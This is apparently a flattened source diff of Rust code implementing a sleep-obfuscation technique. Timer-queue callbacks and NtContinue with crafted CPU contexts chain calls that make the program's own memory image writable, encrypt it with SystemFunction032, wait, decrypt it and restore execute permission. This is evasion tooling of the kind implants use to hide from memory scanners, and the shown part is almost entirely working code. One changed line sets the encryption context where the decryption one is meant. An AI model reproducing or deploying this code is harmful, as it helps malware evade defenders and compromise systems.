1 - use ntapi::{winapi::um::errhandlingapi::GetLastError, ntxcapi : : NtContinue }; 2 - use winapi::{um::winnt::{CONTEXT, RtlCaptureContext}, shared::ntdef::BOOLEAN}; 1 + use ntapi::{ntxcapi : : NtContinue , winapi::um::errhandlingapi::GetLastError}; 3 2 use std::{ 4 3 ffi::c_void, 5 4 mem::zeroed, 6 5 ptr::{null, null_mut}, 7 6 }; 7 + use winapi::{ 8 + shared::ntdef::BOOLEAN, 9 + um::winnt::{RtlCaptureContext, CONTEXT}, 10 + }; 8 11 use windows_sys::Win32::{ 9 - Foundation::{HANDLE, INVALID_HANDLE_VALUE , UNICODE_STRING}, 12 + Foundation::{HANDLE, UNICODE_STRING}, 10 13 System::{ 11 - Diagnostics::Debug::{ IMAGE_NT_HEADERS64} , 14 + Diagnostics::Debug::IMAGE_NT_HEADERS64, 12 15 LibraryLoader::{GetModuleHandleA, GetProcAddress, LoadLibraryA}, 13 - Memory::{PAGE_EXECUTE_READ, PAGE_PROTECTION_FLAGS, PAGE_READWRITE}, 16 + Memory::{VirtualProtect , PAGE_EXECUTE_READ, PAGE_PROTECTION_FLAGS, PAGE_READWRITE}, 14 17 SystemServices::IMAGE_DOS_HEADER, 15 18 Threading::{ 16 - CreateEventW, CreateTimerQueue, CreateTimerQueueTimer, DeleteTimerQueue, 19 + CreateEventW, CreateTimerQueue, CreateTimerQueueTimer, DeleteTimerQueue, SetEvent , 17 20 WaitForSingleObject, WT_EXECUTEINTIMERTHREAD, 18 21 }, 19 22 WindowsProgramming::INFINITE, skipped 29 lines 49 52 let h_event = unsafe { CreateEventW(null(), 0, 0, null()) }; 50 53 log::info!("[+] h_event: {:#x}", h_event); 51 54 52 - if h_event == INVALID_HANDLE_VALUE { 55 + if h_event == 0 { 53 56 panic!("[!] CreateEventW failed with error: {}", unsafe { 54 57 GetLastError() 55 58 }); skipped 4 lines 60 63 let h_timer_queue = unsafe { CreateTimerQueue() }; 61 64 log::info!("[+] h_timer_queue: {:#x}", h_timer_queue); 62 65 63 - if h_timer_queue == INVALID_HANDLE_VALUE { 66 + if h_timer_queue == 0 { 64 67 panic!("[!] CreateTimerQueue failed with error: {}", unsafe { 65 68 GetLastError() 66 69 }); 67 70 } 68 71 69 - let virtualprotect = unsafe { 70 - GetProcAddress( 71 - GetModuleHandleA("kernel32.dll\0".as_ptr()), 72 - "VirtualProtect\0".as_ptr(), 73 - ) 74 - }; 75 - 76 - if virtualprotect.is_none() { 77 - panic!("[!] VirtualProtect not found"); 78 - } 79 - 80 - log::info!("[+] VirtualProtect: {:#x}", virtualprotect.unwrap() as u64); 81 - 82 - 83 72 let sys_func032 = unsafe { 84 73 GetProcAddress( 85 74 LoadLibraryA("Advapi32.dll\0".as_ptr()), skipped 7 lines 93 82 94 83 log::info!("[+] SystemFunction032: {:#x}", sys_func032.unwrap() as u64); 95 84 96 - let setevent = unsafe { 97 - GetProcAddress( 98 - GetModuleHandleA("kernel32.dll\0".as_ptr()), 99 - "SetEvent\0".as_ptr(), 100 - ) 101 - }; 102 - 103 - if setevent.is_none() { 104 - panic!("[!] SetEvent not found"); 105 - } 106 - 107 - log::info!("[+] SetEvent: {:#x}", setevent.unwrap() as u64); 108 - 109 - let waitforsingleobject = unsafe { 110 - GetProcAddress( 111 - GetModuleHandleA("kernel32.dll\0".as_ptr()), 112 - "WaitForSingleObject\0".as_ptr(), 113 - ) 114 - }; 115 - 116 - if waitforsingleobject.is_none() { 117 - panic!("[!] WaitForSingleObject not found"); 118 - } 119 - 120 - log::info!("[+] WaitForSingleObject: {:#x}", waitforsingleobject.unwrap() as u64); 121 - 122 85 let image_base = unsafe { GetModuleHandleA(null_mut()) }; 123 86 let dos_header = image_base as *mut IMAGE_DOS_HEADER; 124 87 let nt_headers = skipped 51 lines 176 139 // pub unsafe extern "system" fn VirtualProtect(lpaddress: *const c_void, dwsize: usize, flnewprotect: PAGE_PROTECTION_FLAGS, lpfloldprotect: *mut PAGE_PROTECTION_FLAGS) -> BOOL 177 140 // https://docs.rs/windows-sys/latest/windows_sys/Win32/System/Memory/fn.VirtualProtect.html 178 141 rop_prot_rw.Rsp -= 8; 179 - rop_prot_rw.Rip = virtualprotect . unwrap ( ) as u64; 180 - rop_prot_rw.Rcx = image_base as u64; 142 + rop_prot_rw.Rip = VirtualProtect as u64; 143 + rop_prot_rw.Rcx = image_base as * const c_void as u64; 181 144 rop_prot_rw.Rdx = image_size as u64; 182 145 rop_prot_rw.R8 = PAGE_READWRITE as u64; 183 146 rop_prot_rw.R9 = &mut old_protect as *mut PAGE_PROTECTION_FLAGS as u64; 184 147 dump_virtual_protect_context(&rop_prot_rw); 185 148 186 - // pub unsafe extern "system" fn SystemFunction036(randombuffer: *mut c_void, randombufferlength: u32) -> BOOLEAN 187 - // https://docs.rs/windows-sys/latest/windows_sys/Win32/Security/Authentication/Identity/fn.SystemFunction036.html 149 + // https://doxygen.reactos.org/df/d13/sysfunc_8c.html#a66d55017b8625d505bd6c5707bdb9725 150 + // NTSTATUS WINAPI SystemFunction032(struct ustring *data, const struct ustring *key) 151 + // pub unsafe extern "system" fn SystemFunction032(randombuffer: *mut UNICODE_STRING, key: *const UNICODE_STRING) -> BOOLEAN 188 152 rop_mem_enc.Rsp -= 8; 189 153 rop_mem_enc.Rip = sys_func032.unwrap() as u64; 190 154 rop_mem_enc.Rcx = &mut img as *mut UNICODE_STRING as *mut c_void as u64; 191 - rop_mem_enc.Rdx = key. Length as u64; 155 + rop_mem_enc.Rdx = & key as * const UNICODE_STRING as * const c_void as u64; 192 156 dump_system_function036_context(&rop_mem_enc); 193 157 194 158 // pub unsafe extern "system" fn WaitForSingleObject(hhandle: HANDLE, dwmilliseconds: u32) -> WIN32_ERROR 195 159 // https://docs.rs/windows-sys/latest/windows_sys/Win32/System/Threading/fn.WaitForSingleObject.html 196 160 rop_delay.Rsp -= 8; 197 - rop_delay.Rip = waitforsingleobject.unwrap() as u64; 161 + rop_delay.Rip = WaitForSingleObject as u64; 198 162 rop_delay.Rcx = -1 as isize as u64; // NtCurrentProcess 199 163 rop_delay.Rdx = sleep_time as u64; 200 164 dump_wait_for_single_object_context(&rop_delay); 201 165 202 - // pub unsafe extern "system" fn SystemFunction036(randombuffer: *mut c_void, randombufferlength: u32) -> BOOLEAN 203 - // https://docs.rs/windows-sys/latest/windows_sys/Win32/Security/Authentication/Identity/fn.SystemFunction036.html 166 + // https://doxygen.reactos.org/df/d13/sysfunc_8c.html#a66d55017b8625d505bd6c5707bdb9725 167 + // NTSTATUS WINAPI SystemFunction032(struct ustring *data, const struct ustring *key) 168 + // pub unsafe extern "system" fn SystemFunction032(randombuffer: *mut UNICODE_STRING, key: *const UNICODE_STRING) -> BOOLEAN 204 169 rop_mem_dec.Rsp -= 8; 205 170 rop_mem_dec.Rip = sys_func032.unwrap() as u64; 206 171 rop_mem_dec.Rcx = &mut img as *mut UNICODE_STRING as *mut c_void as u64; 207 - rop_mem_dec.Rdx = key.Length as u64; 172 + rop_mem_enc.Rdx = &key as *const UNICODE_STRING as *const c_void as u64; 208 173 dump_system_function036_context(&rop_mem_dec); 209 174 210 175 // pub unsafe extern "system" fn VirtualProtect(lpaddress: *const c_void, dwsize: usize, flnewprotect: PAGE_PROTECTION_FLAGS, lpfloldprotect: *mut PAGE_PROTECTION_FLAGS) -> BOOL 211 176 // https://docs.rs/windows-sys/latest/windows_sys/Win32/System/Memory/fn.VirtualProtect.html 212 177 rop_prot_rx.Rsp -= 8; 213 - rop_prot_rx.Rip = virtualprotect . unwrap ( ) as u64; 214 - rop_prot_rx.Rcx = image_base as u64; 178 + rop_prot_rx.Rip = VirtualProtect as u64; 179 + rop_prot_rx.Rcx = image_base as * const c_void as u64; 215 180 rop_prot_rx.Rdx = image_size as u64; 216 181 rop_prot_rx.R8 = PAGE_EXECUTE_READ as u64; 217 182 rop_prot_rx.R9 = &mut old_protect as *mut u32 as u64; skipped 2 lines 220 185 // https://docs.rs/windows-sys/latest/windows_sys/Win32/System/Threading/fn.SetEvent.html 221 186 // pub unsafe extern "system" fn SetEvent(hevent: HANDLE) -> BOOL 222 187 rop_set_evt.Rsp -= 8; 223 - rop_set_evt.Rip = setevent . unwrap ( ) as u64; 188 + rop_set_evt.Rip = SetEvent as u64; 224 189 rop_set_evt.Rcx = h_event as u64; 225 190 dump_set_event_context(&rop_set_evt); 226 191 227 192 log::info!("[+] Rop chain built"); 228 193 log::info!("[+] Queue timers"); 229 - //unsafe { core::arch::asm!("int3") }; 230 194 231 195 let result = unsafe { 232 196 CreateTimerQueueTimer( skipped 26 lines 259 223 }; 260 224 if result == 0 { 261 225 panic!( 262 - "[!] Failed calling CreateTimerQueueTimer with rop_mem_enc (SystemFunction036 ) {:#x}", 226 + "[!] Failed calling CreateTimerQueueTimer with rop_mem_enc (SystemFunction032 ) {:#x}", 263 227 unsafe { GetLastError() } 264 228 ); 265 229 } skipped 29 lines 295 259 }; 296 260 if result == 0 { 297 261 panic!( 298 - "[!] Failed calling CreateTimerQueueTimer with rop_mem_dec (SystemFunction036 ) {:#x}", 262 + "[!] Failed calling CreateTimerQueueTimer with rop_mem_dec (SystemFunction032 ) {:#x}", 299 263 unsafe { GetLastError() } 300 264 ); 301 265 } skipped 81 lines 383 347 384 348 fn dump_system_function036_context(rop: &CONTEXT) { 385 349 log::info!( 386 - "[+] RSP: {:#x} RIP: {:#x} -> SystemFunction036 ({:#x}, {:#x})", 350 + "[+] RSP: {:#x} RIP: {:#x} -> SystemFunction032 ({:#x}, {:#x})", 387 351 rop.Rsp, 388 352 rop.Rip, 389 353 rop.Rcx, skipped 23 lines